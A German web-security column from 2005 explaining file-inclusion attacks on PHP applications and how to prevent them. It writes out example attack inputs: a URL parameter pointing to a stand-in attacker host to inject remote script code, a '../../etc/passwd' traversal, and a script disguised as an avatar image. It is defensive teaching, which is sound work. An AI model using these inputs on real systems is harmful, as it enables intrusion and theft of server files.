Freitag, 27. Januar 2012


Topthema

Donnerstag, 28. Juli 2005 | Topthema

About Security #16: Skriptcode einschleusen

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/023142)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Das Einbinden beliebiger Dateien in Webanwendungen kann viele unerw�nschte Folgen haben. Der schlimmste Fall ist die Ausf�hrung b�sartigen Skriptcodes, der in solchen Dateien enthalten sein kann.

N E U ! Security aktuell
T�glich aktuelle Security-Infos!

Bindet eine in einer Skriptsprache geschriebene Webanwendung eine Datei in ein Skript ein, wird in manchen F�llen darin enthaltener Skriptcode zusammen mit dem Rest des Skripts ausgef�hrt. Dies ist gewollt und noch kein Sicherheitsproblem. Zu einem Problem wird es erst, wenn ein Angreifer die eingebundene Datei kontrollieren kann. Entweder, weil er den Inhalt der vorhandenen Datei manipulieren kann, oder weil er bestimmen kann, welche Datei eingebunden wird.

Manche Webanwendungen verwenden einen Parameter, um z.B. Spracheinstellungen oder auszuf�hrende Aktionen festzulegen. Dabei wird dann eine Datei, deren Name aus dem Parameter entnommen wird, in ein Skript eingebunden. So k�nnte zum Beispiel der URL

http://www.server.example/webanwendung.php?sprache=deutsch

bewirken, dass die Datei deutsch in die Webanwendung eingebunden wird und diese an die deutsche Sprache anpasst.

Ein Angreifer kann den Parameter nach seinen Vorstellungen manipulieren:

http://www.server.example/webanwendung.php?sprache=
http://www.boeser-bube.example/boeser-code.txt

Wenn der Parameter vor der Verwendung nicht ausreichend gepr�ft wird und die Webanwendung auf entfernte Server zugreifen kann, wird die Datei

http://www.boeser-bube.example/boeser-code.txt

in das Skript eingebunden. Der Angreifer kann dar�ber beliebigen Skriptcode einschleusen. Da Skriptsprachen meist eine M�glichkeit zum Aufruf von Systembefehlen enthalten, kann der Angreifer z.B. eine Shell �ffnen und dar�ber auf den Webserver zugreifen.

About Security: Die komplette Serie

Wenn die Webanwendung keine Dateien von anderen Servern einbinden muss, sollte diese M�glichkeit �ber die Konfiguration unterbunden werden. Dann bleibt dem Angreifer die M�glichkeit, lokale Dateien einzubinden. Dies geschieht �ber so genannte Directory-Traversal-Angriffe, bei denen durch Verwendung von "../" bzw. "..\" aus dem vorgegebenen Pfad ausgebrochen wird. Dabei ist es f�r den Angreifer hilfreich, wenn er den vollst�ndigen Pfad zum Skript kennt. Gibt es diesen im Rahmen einer Fehlermeldung aus, erleichtert es damit einem Angreifer seine Arbeit. Kennt er den Pfad nicht, kann er ihn aber meist erfolgreich erraten.

Zum einen kann der Angreifer nun sensitive Informationen erlangen:

http://www.server.example/webanwendung.php?sprache=
../../etc/passwd

bindet unter Unix die Datei /etc/passwd ein. Da sie keinen zu interpretierenden Skriptcode enth�lt, wird sie als Klartext ausgegeben.

/etc/passwd ist dabei ein Standardbeispiel, inzwischen enth�lt diese Datei entgegen ihrem Namen l�ngst keine Passw�rter mehr. Der Angreifer kann alle auf dem Server der Webanwendung gespeicherten Dateien einbinden, sofern die Webanwendung auf diese zugreifen darf. Das trifft insbesondere z.B. auf die Konfigurationsdateien der Webanwendung und des Webservers zu.

Auch das Ausf�hren von Skriptcode ist m�glich, wenn der Angreifer eine M�glichkeit findet, seinen Code in eine Datei auf den Server zu schreiben bzw. eine eigene Datei auf den Server zu laden. Eine M�glichkeit daf�r sind z.B. die Avatar-Bilder in Foren: Werden die Eingaben daf�r nicht ausreichend gepr�ft, kann statt eines Bildes eine Datei mit Skriptcode auf den Server geladen werden. Kennt der Angreifer den Pfad zu seinem 'Bild', kann er es danach in ein Skript einbinden.

Besonders h�ufig sind in PHP geschriebene Anwendungen von derartigen Schwachstellen betroffen. Dies liegt zum Teil daran, dass PHP bis Version 4.1.0 alle Variablen als globale Variablen betrachtet und der ab Version 4.2.0 verf�gbare Schalter register_globals, der dieses Verhalten �ndert, oft auf on gesetzt wird. Dadurch kann ein Angreifer beliebige Variablen, einschlie�lich der nur intern f�r Include-Dateien verwendeten, auf beliebige Werte setzen. Das Problem kann generell aber auch in anderen Skriptsprachen auftreten.

Gegenma�nahmen

Es sollten keine Dateien von anderen Servern eingebunden werden, und das Ausbrechen aus den vorgegebenen Pfaden muss durch Ausfiltern von "../" bzw. "..\" verhindert werden.

Da meist sowieso nur eine vorgegebene Menge von Dateien eingebunden werden soll, kann die Zul�ssigkeit des �bergebenen Parameters durch einen Vergleich mit den erlaubten Werten gepr�ft werden. Der �bergebene Dateiname wird nur zum Einbinden einer Datei verwendet, wenn er mit einem der zul�ssigen Werte �bereinstimmt. Und wenn sowieso schon eine derartige Pr�fung programmiert wird, k�nnen die Dateinamen auch gleich durch andere Werte ersetzt werden. Wenn sprache=1 bedeutet, dass die Datei deutsch eingebunden wird, hat der Angreifer keine M�glichkeit mehr, eine andere Datei einbinden zu lassen. Eine Manipulation des Parameters bewirkt dann nur, dass ggf. die Default-Einstellung verwendet wird, weil der Parameter ung�ltig ist.

SQL Injection und Cross-Site Scripting sind klassische Angriffe auf Webanwendungen. Ab der n�chsten Folge lernen Sie eine neue Sorte von Angriffen kennen: HTTP Request Smuggling.

Wenn Sie Fragen oder Themenvorschl�ge haben, k�nnen Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security � �bersicht zum aktuellen Thema "Sichere Webanwendungen"

Kommentare

Folgende Links könnten Sie auch interessieren

  • Internet Forensics  [09.02.2007]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,599,.html]
  • Das Google Web Toolkit: GWT  [13.08.2008]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,759,.html]
  • Adding Ajax  [04.02.2008]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,708,.html]
  • Ajax Usability  [04.01.2008]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,700,.html]
  • Webapplikationen mit Visual C#  [25.04.2005]
    [http://entwickler.de/zonen/portale/psecom,id,102,buch,181,.html]